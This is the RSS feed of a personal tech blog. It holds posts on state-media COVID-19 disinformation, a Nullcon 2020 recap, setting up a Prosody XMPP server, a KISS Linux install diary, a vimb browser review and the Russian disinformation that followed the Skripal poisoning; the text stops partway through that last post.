pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>COVID-19 disinformation</title><description><![CDATA[<p>The virus spreads around the world, along with a bunch of disinformation
15and potential malware / phishing campaigns. There are many actors,
16pushing many narratives—some similar, some different. </p>
17
18<p>Interestingly, the three big players in the information warfare
19space—Russia, Iran and China seem to be running similar stories on
20their state-backed media outlets. While they all tend to lean towards
21the same, fairly anti-U.S. sentiments—that is, blaming the US for
22weaponizing the crisis for political gain—Iran and Russia’s content
23come off as more…conspiratorial.
24In essence, they claim that the COVID-19 virus is a “bioweapon”
25developed by the U.S.</p>
26
27<p>Russian news agency
28<a href="https://twitter.com/RT_com/status/1233187558793924608">RT tweeted</a>:</p>
29
30<blockquote>
31 <p>Show of hands, who isn’t going to be surprised if it ever gets
32 revealed that #coronavirus is a bioweapon?</p>
33</blockquote>
34
35<p>RT also published
36<a href="https://www.rt.com/usa/481485-coronavirus-russia-state-department/">an article</a>
37mocking the U.S. for concerns over Russian disinformation.
38Another article by RT,
39<a href="https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/">an op-ed</a>
40suggests the virus’ impact on financial markets might bring about the
41reinvention of communism and the end of the global capitalist system.
42Russian state-sponsored media can also be seen amplifying Iranian
43conspiracy theories—including the Islamic Revolutionary Guard Corps’
44(IRGC) suggestion that COVID-19
45<a href="https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/">is a U.S. bioweapon</a>.</p>
46
47<p>Iranian media outlets appear to be running stories having similar
48themese, as well. Here’s one
49<a href="https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer">by PressTV</a>,
50where they very boldly claim that the virus was developed by
51the U.S. and/or Isreal, to use as a bioweapon against Iran. Another
52<a href="https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory">nonsensical piece</a>
53by PressTV suggests that
54“there are components of the virus that are related to HIV that could not have occurred naturally”.
55The same article pushes another theory:</p>
56
57<blockquote>
58 <p>There has been some speculation that as the Trump Administration has
59 been constantly raising the issue of growing Chinese global
60 competitiveness as a direct threat to American national security and
61 economic dominance, it might be possible that Washington has created
62 and unleashed the virus in a bid to bring Beijing’s growing economy
63 and military might down a few notches. It is, to be sure, hard to
64 believe that even the Trump White House would do something so
65 reckless, but there are precedents for that type of behavior</p>
66</blockquote>
67
68<p>These “theories”, as is evident, are getting wilder and wilder.</p>
69
70<p>Unsurprisingly, China produces the most amount of content related to the
71coronavirus, but they’re quite distinct in comparison to Russian and
72Iranian media. The general theme behind Chinese narratives is
73critisizing the West for…a lot of things.</p>
74
75<p>Global Times claims that
76<a href="http://www.globaltimes.cn/content/1178494.shtml">democracy is an insufficient system</a>
77to battle the coronavirus. They <a href="http://www.globaltimes.cn/content/1178494.shtml">blame the U.S.</a>
78for unfair media coverage against China, and other <a href="http://www.globaltimes.cn/content/1180630.shtml">anti-China
79narratives</a>.
80There are a ton other articles that play the racism/discrimination
81card—I wouldn’t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml">Here’s one</a>.</p>
82
83<p>In the case of India, most disinfo (actually, misinfo) is mostly just
84pseudoscientific / alternative medicine / cures in the form of WhatsApp
85forwards—"Eat foo! Eat bar!”.<sup class="footnote-ref" id="fnref-cowpiss"><a href="#fn-cowpiss">1</a></sup></p>
86
87<p>I’ve also been noticing a <em>ton</em> of COVID-19 / coronavirus related domain
88registrations happening. Expect phishing and malware campaigns using the
89virus as a theme. In the past 24 hrs, ~450 <code>.com</code> domains alone were
90registered.</p>
91
92<p><img src="/static/img/corona_domains.png" alt="corona domains" /></p>
93
94<p>Anywho, there are bigger problems at hand—like the fact that my uni
95still hasn’t suspended classes!</p>
96
97<div class="footnotes">
98<hr />
99<ol>
100<li id="fn-cowpiss">
101<p><a href="https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece">https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece</a> <a href="#fnref-cowpiss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
102</li>
103</ol>
104</div>
105]]></description><link>https://icyphox.sh/blog/covid19-disinfo</link><pubDate>Sun, 15 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/covid19-disinfo</guid></item><item><title>Nullcon 2020</title><description><![CDATA[<p><strong>Disclaimer</strong>: Political.</p>
106
107<p>This year’s conference was at the Taj Hotel and Convention center, Dona
108Paula, and its associated party at Cidade de Goa, also by Taj.
109Great choice of venue, perhaps even better than last time. The food was
110fine, the views were better.</p>
111
112<p>With <em>those</em> things out of the way—let’s talk talks. I think
113I preferred the panels to the talks—I enjoy a good, stimulating
114discussion as opposed to only half-understanding a deeply technical
115talk—but that’s just me. But there was this one talk that I really
116enjoyed, perhaps due to its unintended comedic value; I’ll get into that
117later.</p>
118
119<p>The list of panels/talks I attended in order:</p>
120
121<p><strong>Day 1</strong></p>
122
123<ul>
124<li>Keynote: The Metadata Trap by Micah Lee (Talk)</li>
125<li>Securing the Human Factor (Panel)</li>
126<li>Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)</li>
127<li>Lessons from the Cyber Trenches (Panel)</li>
128<li>Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)</li>
129<li>Taking the guess out of Glitching by Adam Laurie (Talk)</li>
130<li>Keynote: Cybersecurity in India – Information Assymetry, Cross Border
131Threats and National Sovereignty by Saumil Shah (Talk)</li>
132</ul>
133
134<p><strong>Day 2</strong></p>
135
136<ul>
137<li>Keynote: Crouching hacker, killer robot? Removing fear from
138cyber-physical security by Stefano Zanero (Talk)</li>
139<li>Supply Chain Security in Critical Infrastructure Systems (Panel)</li>
140<li>Putting it all together: building an iOS jailbreak from scratch by
141Umang Raghuvanshi (Talk)</li>
142<li>Hack the Law: Protection for Ethical Cyber Security Research in India
143(Panel)</li>
144</ul>
145
146<h2 id="re-closing-keynote">Re: Closing keynote</h2>
147
148<p>I wish I could link the talk, but it hasn’t been uploaded just yet. I’ll
149do it once it has. So, I’ve a few comments I’d like to make on some of
150Saumil’s statements.</p>
151
152<p>He proposed that the security industry trust the user more, and let them
153make the decisions pertaining to personal security / privacy.
154Except…that’s just not going to happen. If all users were capable
155of making good, security-first choices—we as an industry don’t
156need to exist. But that is unfortunately not the case.
157Users are dumb. They value convenience and immediacy over
158security. That’s the sad truth of the modern age.</p>
159
160<p>Another thing he proposed was that the Indian Government build our own
161“Military Grade” and “Consumer Grade” encryption.</p>
162
163<p><em>…what?</em></p>
164
165<p>A “security professional” suggesting that we roll our own crypto? What
166even. Oh and, to top it off—when
167<a href="https://twitter.com/tame_wildcard">Raman</a>, very rightly countered
168saying that the biggest opponent to encryption <em>is</em> the Government, and
169trusting them to build safe cryptosystems is probably not wise, he
170responded by saying something to the effect of “Eh, who cares? If they
171want to backdoor it, let them.” </p>
172
173<p>Bruh moment.</p>
174
175<p>He also had some interesting things to say about countering
176disinformation. He said, and I quote “Join the STFU University”.</p>
177
178<p>¿wat? Is that your best solution? </p>
179
180<p>Judging by his profile, and certain other things he said in the talk, it
181is safe to conclude that his ideals are fairly…nationalistic. I’m not
182one to police political opinions, I couldn’t care less which way you
183lean, but the statements made in the talk were straight up
184incorrect.</p>
185
186<h2 id="closing-thoughts">Closing thoughts</h2>
187
188<p>This came out more rant-like than I’d intended. It is also the first
189blog post where I dip my toes into politics. I’ve some thoughts on more
190controversial topics for my next entry. That’ll be fun, especially when
191my follower count starts dropping. LULW.</p>
192
193<p>Saumil, if you ever end up reading this, note that this is not
194a personal attack. I think you’re a cool guy.</p>
195
196<p>Note to the Nullcon organizers: you guys did a fantastic job running the
197conference despite Corona-chan’s best efforts. I’d like to suggest one
198little thing though—please VET YOUR SPEAKERS more!</p>
199
200<p><img src="/static/img/nullcon_beach.jpg" alt="group pic" /></p>
201]]></description><link>https://icyphox.sh/blog/nullcon-2020</link><pubDate>Mon, 09 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/nullcon-2020</guid></item><item><title>Setting up Prosody for XMPP</title><description><![CDATA[<p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while
202back? Well…it’s safe to say that IRC didn’t hold up too well. It first
203started with the bot. Buggy code, crashed a lot—we eventually gave up
204and didn’t bring the bot back up. Then came the notifications, or lack
205thereof. Revolution IRC has a bug where your custom notification rules
206just get ignored after a while. In my case, this meant that
207notifications for <code>#crimson</code> stopped entirely. Unless, of course, Nerdy
208pinged me each time.</p>
209
210<p>Again, none of these problems are inherent to IRC itself. IRC is
211fantastic, but perhaps wasn’t the best fit for our usecase. I still do
212use IRC though, just not for 1-on-1 conversations.</p>
213
214<h2 id="why-xmpp">Why XMPP?</h2>
215
216<p>For one, it’s better suited for 1-on-1 conversations. It also has
217support for end-to-end encryption (via OMEMO), something IRC doesn’t
218have.<sup class="footnote-ref" id="fnref-otr"><a href="#fn-otr">1</a></sup> Also, it isn’t centralized (think: email).</p>
219
220<h2 id="soprosody">So…Prosody</h2>
221
222<p><a href="https://prosody.im">Prosody</a> is an XMPP server. Why did I choose this
223over ejabberd, OpenFire, etc.? No reason, really. Their website looked
224cool, I guess.</p>
225
226<h3 id="installing">Installing</h3>
227
228<p>Setting it up was pretty painless (I’ve <a href="/blog/mailserver">experienced
229worse</a>). If you’re on a Debian-derived system, add:</p>
230
231<pre><code># modify according to your distro
232deb https://packages.prosody.im/debian buster main
233</code></pre>
234
235<p>to your <code>/etc/apt/sources.list</code>, and:</p>
236
237<pre><code># apt update
238# apt install prosody
239</code></pre>
240
241<h3 id="configuring">Configuring</h3>
242
243<p>Once installed, you will find the config file at
244<code>/etc/prosody/prosody.cfg.lua</code>. Add your XMPP user (we will make this
245later), to the <code>admins = {}</code> line.</p>
246
247<pre><code>admins = {"user@chat.example.com"}
248</code></pre>
249
250<p>Head to the <code>modules_enabled</code> section, and add this to it:</p>
251
252<pre><code>modules_enabled = {
253 "posix";
254 "omemo_all_access";
255...
256 -- uncomment these
257 "groups";
258 "mam";
259 -- and any others you think you may need
260}
261</code></pre>
262
263<p>We will install the <code>omemo_all_access</code> module later.</p>
264
265<p>Set <code>c2s_require_encryption</code>, <code>s2s_require_encryption</code>, and
266<code>s2s_secure_auth</code> to <code>true</code>.
267Set the <code>pidfile</code> to <code>/tmp/prosody.pid</code> (or just leave it as default?).</p>
268
269<p>By default, Prosody stores passwords in plain-text, so fix that by
270setting <code>authentication</code> to <code>"internal_hashed"</code></p>
271
272<p>Head to the <code>VirtualHost</code> section, and add your vhost. Right above it,
273set the path to the HTTPS certificate and key:</p>
274
275<pre><code>certificates = "certs" -- relative to your config file location
276https_certificate = "certs/chat.example.com.crt"
277https_key = "certs/chat.example.com.key"
278...
279
280VirtualHost "chat.example.com"
281</code></pre>
282
283<p>I generated these certs using Let’s Encrypt’s <code>certbot</code>, you can use
284whatever. Here’s what I did:</p>
285
286<pre><code># certbot --nginx -d chat.example.com
287</code></pre>
288
289<p>This generates certs at <code>/etc/letsencrypt/live/chat.example.com/</code>. You can
290trivially import these certs into Prosody’s <code>/etc/prosody/certs/</code> directory using:</p>
291
292<pre><code># prosodyctl cert import /etc/letsencrypt/live/chat.example.com
293</code></pre>
294
295<h3 id="plugins">Plugins</h3>
296
297<p>All the modules for Prosody can be <code>hg clone</code>’d from
298<a href="https://hg.prosody.im/prosody-modules.">https://hg.prosody.im/prosody-modules.</a> You will, obviously, need
299Mercurial installed for this.</p>
300
301<p>Clone it somewhere, and: </p>
302
303<pre><code># cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules
304</code></pre>
305
306<p>Do the same thing for whatever other module you choose to install. Don’t
307forget to add it to the <code>modules_enabled</code> section in the config.</p>
308
309<h3 id="adding-users">Adding users</h3>
310
311<p><code>prosodyctl</code> makes this a fairly simple task:</p>
312
313<pre><code>$ prosodyctl adduser user@chat.example.com
314</code></pre>
315
316<p>You will be prompted for a password. You can optionally, enable
317user registrations from XMPP/Jabber clients (security risk!), by setting
318<code>allow_registration = true</code>.</p>
319
320<p>I may have missed something important, so here’s <a href="https://x.icyphox.sh/prosody.cfg.lua">my
321config</a> for reference.</p>
322
323<h2 id="closing-notes">Closing notes</h2>
324
325<p>That’s pretty much all you need for 1-on-1 E2EE chats. I don’t know much
326about group chats just yet—trying to create a group in Conversations
327gives a “No group chat server found”. I will figure it out later.</p>
328
329<p>Another thing that doesn’t work in Conversations is adding an account
330using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref-srv"><a href="#fn-srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code>
331subdomain isn’t very clean, but whatever.</p>
332
333<p>Oh, also—you can message me at
334<a href="xmpp:icy@chat.icyphox.sh">icy@chat.icyphox.sh</a>.</p>
335
336<div class="footnotes">
337<hr />
338<ol>
339<li id="fn-otr">
340<p>I’m told IRC supports OTR, but I haven’t ever tried. <a href="#fnref-otr" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
341</li>
342
343<li id="fn-srv">
344<p><a href="https://prosody.im/doc/dns">https://prosody.im/doc/dns</a> <a href="#fnref-srv" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
345</li>
346</ol>
347</div>
348]]></description><link>https://icyphox.sh/blog/prosody</link><pubDate>Tue, 18 Feb 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/prosody</guid></item><item><title>Status update</title><description><![CDATA[<p>It’s only been a two weeks since I got back to campus, and we’ve
349<em>already</em> got our first round of cycle tests starting this Tuesday.
350Granted, I returned a week late, but…that’s nuts!</p>
351
352<p>We’re two whole weeks into 2020; I should’ve been working on something
353status update worthy, right? Not really, but we’ll see.</p>
354
355<h2 id="no-more-cloudflare">No more Cloudflare!</h2>
356
357<p>Yep. If you weren’t aware—pre-2020 this site was behind Cloudflare
358SSL and their DNS. I have since migrated off it to
359<a href="https://he.net">he.net</a>, thanks to highly upvoted Lobste.rs comment.
360Because of this switch, I infact, learnt a ton about DNS.</p>
361
362<p>Migrating to HE was very painless, but I did have to research a lot
363about PTR records—Cloudflare kinda dumbs it down. In my case, I had to
364rename my DigitalOcean VPS instance to the FQDN, which then
365automagically created a PTR record at DO’s end.</p>
366
367<h2 id="i-dropped-icyrc">I dropped icyrc</h2>
368
369<p>The IRC client I was working on during the end of last
370December–early-January? Yeah, I lost interest. Apparently writing C and
371ncurses isn’t very fun or stimulating.</p>
372
373<p>This also means I’m back on weechat. Until I find another client that
374plays well with ZNC, that is.</p>
375
376<h2 id="kiss-stuff">KISS stuff</h2>
377
378<p>I now maintain two new packages in the KISS community repository—2bwm
379and aerc! The KISS package system is stupid simple to work with. Creating
380packages has never been easier.</p>
381
382<h2 id="icyphoxshfriendsfriends"><a href="/friends">icyphox.sh/friends</a></h2>
383
384<p>Did you notice that yet? I’ve been curating a list of people I know IRL
385and online, and linking to their online presence. This is like a webring
386of sorts, and promotes inter-site traffic—making the web more “web”
387again.</p>
388
389<p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I’ll link
390your site too! My apologies if I’ve forgotten your name.</p>
391
392<h2 id="patreon">Patreon!</h2>
393
394<p>Is this big news? I dunno, but yes—I now have a Patreon. I figured I’d
395cash in on the newfound traffic my site’s been getting. There won’t be
396any exclusive content or any tiers or whatever. Nothing will change.
397Just a place for y’all to toss me some $$$ if you wish to do so. ;)</p>
398
399<p>Oh, and it’s at <a href="https://patreon.com/icyphox">patreon.com/icyphox</a>.</p>
400
401<h2 id="misc">Misc.</h2>
402
403<p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till
404date. I’m still not done yet; about 500 odd pages to go as of this
405writing. But wow, Brandon really does know how to build worlds and magic
406systems. I cannot wait to read all about the
407<a href="https://coppermind.net/wiki/Cosmere">cosmere</a>.</p>
408
409<p>I have also been working out for the past month or so. I can see them
410gainzzz. I plan to keep track of my progress, I just don’t know how to
411quantify it. Perhaps I’ll log the number of reps × sets I do each time,
412and with what weights. I can then look back to see if either the weights
413have increased since, or the number of reps × sets have. If you know of
414a better way to quantify progress, let me know! I’m pretty new to this.</p>
415]]></description><link>https://icyphox.sh/blog/2020-01-18</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2020-01-18</guid></item><item><title>Vimb: my Firefox replacement</title><description><![CDATA[<p>After having recently installed <a href="https://getkiss.org">KISS</a>, and
416building Firefox from source, I was exposed to the true monstrosity that
417Firefox—and web browsers in general—is. It took all of 9 hours to
418build the dependencies and then Firefox itself.</p>
419
420<p>Sure, KISS now ships Firefox binaries in the
421<a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin">firefox-bin</a>
422package; I decided to get rid of that slow mess anyway.</p>
423
424<h2 id="enter-vimb">Enter vimb</h2>
425
426<p><a href="https://fanglingsu.github.io/vimb/">vimb</a> is a browser based on
427<a href="https://webkitgtk.org/">webkit2gtk</a>, with a Vim-like interface.
428<code>webkit2gtk</code> builds in less than a minute—it blows Firefox out of
429the water, on that front.</p>
430
431<p>There isn’t much of a UI to it—if you’ve used Vimperator/Pentadactyl
432(Firefox plugins), vimb should look familiar to you.
433It can be configured via a <code>config.h</code> or a text based config file at
434<code>~/.config/vimb/config</code>.
435Each “tab” opens a new instance of vimb, in a new window but this can
436get messy really fast if you have a lot of tabs open.</p>
437
438<h2 id="enter-tabbed">Enter tabbed</h2>
439
440<p><a href="https://tools.suckless.org/tabbed/">tabbed</a> is a tool to <em>embed</em> X apps
441which support xembed into a tabbed UI. This can be used in conjunction
442with vimb, like so:</p>
443
444<pre><code>tabbed vimb -e
445</code></pre>
446
447<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring
448Firefox-esque keybinds in tabbed’s <code>config.h</code> is relatively easy. Once
449that’s done—voilà! A fairly sane, Vim-like browsing experience that’s
450faster and has a smaller footprint than Firefox.</p>
451
452<h2 id="ad-blocking">Ad blocking</h2>
453
454<p>Ad blocking support isn’t built-in and there is no plugin system
455available. There are two options for ad blocking:</p>
456
457<ol>
458<li><a href="https://github.com/jun7/wyebadblock">wyebadblock</a></li>
459<li><code>/etc/hosts</code></li>
460</ol>
461
462<h2 id="caveats">Caveats</h2>
463
464<p><em>Some</em> websites tend to not work because they detect vimb as an older
465version of Safari (same web engine). This is a minor inconvenience, and
466not a dealbreaker for me. I also cannot login to Google’s services for
467some reason, which is mildly annoying, but it’s good in a way—I am now
468further incentivised to dispose of my Google account.</p>
469
470<p>And here’s the screenshot y’all were waiting for:</p>
471
472<p><img src="/static/img/vimb.png" alt="vimb" /></p>
473]]></description><link>https://icyphox.sh/blog/mnml-browsing</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mnml-browsing</guid></item><item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every
474have any classes (again, so far), and I’ve a ton of free time on my
475hands. This calls for—yep—a distro hop! </p>
476
477<h2 id="why-kiss">Why KISS?</h2>
478
479<p><a href="https://getkiss.org">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref-hn"><a href="#fn-hn">1</a></sup>
480The Hacker News post spurred <em>quite</em> the discussion. But then again,
481that is to be expected from Valleybros who use macOS all day. :^)</p>
482
483<p>From the website,</p>
484
485<blockquote>
486 <p>An independent Linux® distribution with a focus on simplicity and the
487 concept of “less is more”. The distribution targets <em>only</em> the x86-64
488 architecture and the English language.</p>
489</blockquote>
490
491<p>Like many people did in the HN thread, “simplicity” here is not to be
492confused with “ease”. It is instead, simplicity in terms of lesser and
493cleaner code—no
494<a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p>
495
496<p>This, I can get behind. A clean system with less code is like a clean
497table. It’s nice to work on. It also implies security to a certain
498extent since there’s a smaller attack surface. </p>
499
500<p>The <a href="https://github.com/kisslinux/kiss"><code>kiss</code></a> package manager is written
501is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
502source and <code>kiss</code> automatically performs dependency resolution. Creating
503packages is ridiculously easy too.</p>
504
505<p>Speaking of packages, all packages—both official & community
506repos—are run through <code>shellcheck</code> before getting merged. This is
507awesome; I don’t think this is done in any other distro.</p>
508
509<p>In essence, KISS sucks less.</p>
510
511<h2 id="installing-kiss">Installing KISS</h2>
512
513<p>The <a href="https://getkiss.org/pages/install">install guide</a> is very easy to
514follow. Clear instructions that make it hard to screw up; that didn’t
515stop me from doing so, however.</p>
516
517<h3 id="day-1">Day 1</h3>
518
519<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
520system—I’ll count it. I’d compiled the kernel in the chroot and
521decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
522to modify the Intel Extensible Firmware Interface (EFI). Essentially,
523you boot the <code>.efi</code> directly as opposed to choosing which boot entry
524you want to boot, through GRUB. Useful if you have just one OS on the
525system. Removes one layer of abstraction.</p>
526
527<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>
528
529<pre><code>efibootmgr --create
530 --disk /dev/nvme0n1 \
531 --part 1 \
532 --label KISS Linux \
533 --loader /vmlinuz
534 --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters
535</code></pre>
536
537<p>Mind you, this didn’t work the first time, or the second, or the
538third … a bunch of trial and error (and asking on <code>#kisslinux</code>)
539later, it worked.</p>
540
541<p>Well, it booted, but not into KISS. Took a while to figure out that the
542culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
543config. Rebuild & reboot later, I was in.</p>
544
545<h3 id="day-2">Day 2</h3>
546
547<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
548(ethernet) and wireless don’t work. Great. Dug around a bit—missing
549wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
550Intel (eugh!). The whole day was spent in figuring out why the kernel
551would never load the firmware. I tried different variations—loading
552it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>
553
554<h3 id="day-3">Day 3</h3>
555
556<p>I then tried Alpine’s kernel config but that was so huge and had a <em>ton</em>
557of modules and took far too long to build each time, much to my
558annoyance. Diffing their config and mine was about ~3000 lines! Too much
559to sift through. On a whim, I decided to scrap my entire KISS install
560and start afresh. </p>
561
562<p>For some odd reason, after doing the <em>exact</em> same things I’d done
563earlier, my wireless worked this time. Ethernet didn’t, and still
564doesn’t, but that’s ok.</p>
565
566<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
567to spotty internet. The build went through fine, though what wasn’t was
568no input after starting X. Adding my user to the <code>input</code> group wasn’t
569enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
570Installing that gave me my mouse back, but not the keyboard!</p>
571
572<p>It was definitely not the kernel this time, because I had a working
573keyboard in the TTY. </p>
574
575<h3 id="day-4-day-5">Day 4 & Day 5</h3>
576
577<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
578By this point I had exhausted all ideas, so I decided to build my
579essential packages and setup my system. Building Firefox took nearly
5809 hours, the other stuff were much faster.</p>
581
582<p>I was still chatting on IRC during this, trying to zero down on what the
583problem could be. And then:</p>
584
585<pre><code><dylanaraps> For starters I think st fails due to no fonts.
586</code></pre>
587
588<p>Holy shit! Fonts. I hadn’t installed <em>any</em> fonts. Which is why none of
589the applications I tried launching via <code>sowm</code> ever launched, and hence,
590I was lead to believe my keyboard was dead.</p>
591
592<h2 id="worth-it">Worth it?</h2>
593
594<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
595was. Also a test of my patience and perseverance, but yeah ok. I also
596think that this distro is my endgame (yeah, right), probably because
597other distros will be nothing short of disappointing, in one way or
598another.</p>
599
600<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
601throughout. And I mean, they <em>really</em> did. We chatted for hours on end
602trying to debug my issues.</p>
603
604<p>I’ll now conclude with an obligatory screenshot.</p>
605
606<p><img src="https://x.icyphox.sh/R6G.png" alt="scrot" /></p>
607
608<div class="footnotes">
609<hr />
610<ol>
611<li id="fn-hn">
612<p><a href="https://news.ycombinator.com/item?id=21021396">https://news.ycombinator.com/item?id=21021396</a> <a href="#fnref-hn" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
613</li>
614</ol>
615</div>
616]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
617A little late to the “year in review blog post” party; travel took up
618most of my time. Last year was pretty eventful (at least in my books),
619and I think I did a bunch of cool stuff—let’s see!</p>
620
621<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>
622
623<p>Last summer, I interned at <a href="https://securelayer7.net">SecureLayer7</a>,
624a security consulting firm in Pune, India. My work was mostly in
625hardware and embededded security research. I learnt a ton about ARM and
626MIPS reversing and exploitation, UART and JTAG, firmware RE and
627enterprise IoT security.</p>
628
629<p>I also earned my first CVE! I’ve written about it in detail
630<a href="/blog/fb50">here</a>.</p>
631
632<h2 id="conferences">Conferences</h2>
633
634<p>I attended two major conferences last year—Nullcon Goa and PyCon
635India. Both super fun experiences and I met a ton of cool people!
636<a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a>
637and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>
638
639<h2 id="talks">Talks</h2>
640
641<p>I gave two talks last year:</p>
642
643<ol>
644<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
645<li><em>"Smart lock? Nah dude."</em> at PyCon India</li>
646</ol>
647
648<h2 id="things-i-made">Things I made</h2>
649
650<p>Not in order, because I CBA:</p>
651
652<ul>
653<li><a href="https://github.com/icyphox/repl">repl</a>: More of a quick bash hack,
654I don’t really use it.</li>
655<li><a href="https://github.com/icyphox/pw">pw</a>: A password manager. This,
656I actually do use. I’ve even written a tiny
657<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh"><code>dmenu</code> wrapper</a>
658for it. </li>
659<li><a href="https://github.com/icyphox/twsh">twsh</a>: An incomplete twtxt client,
660in bash. I have yet to get around to finishing it.</li>
661<li><a href="https://github.com/icyphox/alpine">alpine ports</a>: My APKBUILDs for
662Alpine.</li>
663<li><a href="https://github.com/icyphox/detotated">detotated</a>: An IRC bot written
664in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
665<li><a href="https://github.com/icyphox/icyrc">icyrc</a>: A no bullshit IRC client,
666because WeeChat is bloat.</li>
667</ul>
668
669<p>I probably missed something, but whatever.</p>
670
671<h2 id="blog-posts">Blog posts</h2>
672
673<pre><code>$ ls -1 pages/blog/*.md | wc -l
67420
675</code></pre>
676
677<p>So excluding today’s post, and <code>_index.md</code>, that’s 18 posts! I had
678initially planned to write one post a month, but hey, this is great. My
679plan for 2020 is to write one post a <em>week</em>—unrealistic, I know, but
680I will try nevertheless.</p>
681
682<p>I wrote about a bunch of things, ranging from programming to
683return-oriented-programming (heh), sysadmin and security stuff, and
684a hint of culture and philosophy. Nice!</p>
685
686<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
687a ton of attention on the interwebz, so that was cool.</p>
688
689<h2 id="bye-2019">Bye 2019</h2>
690
691<p>2019 was super productive! (in my terms). I learnt a lot of new things
692last year, and I can only hope to learn as much in 2020. :)</p>
693
694<p>I’ll see you next week.</p>
695]]></description><link>https://icyphox.sh/blog/2019-in-review</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-in-review</guid></item><item><title>Disinfo war: RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
696Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
697the UK’s intelligence services. This hit attempt happened on the 4th of
698March, 2018. 8 days later, then-Prime Minister Theresa May formally
699accused Russia for the attack.</p>
700
701<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
702In addition to the British military-research facility at Porton Down,
703a small number of labs around the world were tasked with confirming
704Porton Down’s conclusions on the toxin that was used, by the OPCW
705(Organisation for the Prohibition of Chemical Weapons).</p>
706
707<p>With the background on the matter out of the way, here are the different
708instances of well timed disinformation pushed out by Moscow.</p>
709
710<h2 id="the-russian-offense">The Russian offense</h2>
711
712<h3 id="april-14-2018">April 14, 2018</h3>
713
714<ul>
715<li>RT published an article claiming that Spiez had identified a different
716toxin—BZ, and not Novichok.</li>
717<li>This was an attempt to shift the blame from Russia (origin of Novichok),
718to NATO countries, where it was apparently in use.</li>
719<li>Most viral piece on the matter in all of 2018.</li>
720</ul>
721
722<p>Although technically correct, this isn’t the entire truth. As part of
723protocol, the OPCW added a new substance to the sample as a test. If any
724of the labs failed to identify this substance, their findings were
725deemed untrustworthy. This toxin was a derivative of BZ.</p>
726
727<p>Here are a few interesting things to note:</p>
728
729<ol>
730<li>The entire process starting with the OPCW and the labs is top-secret.
731How did Russia even know Speiz was one of the labs?</li>
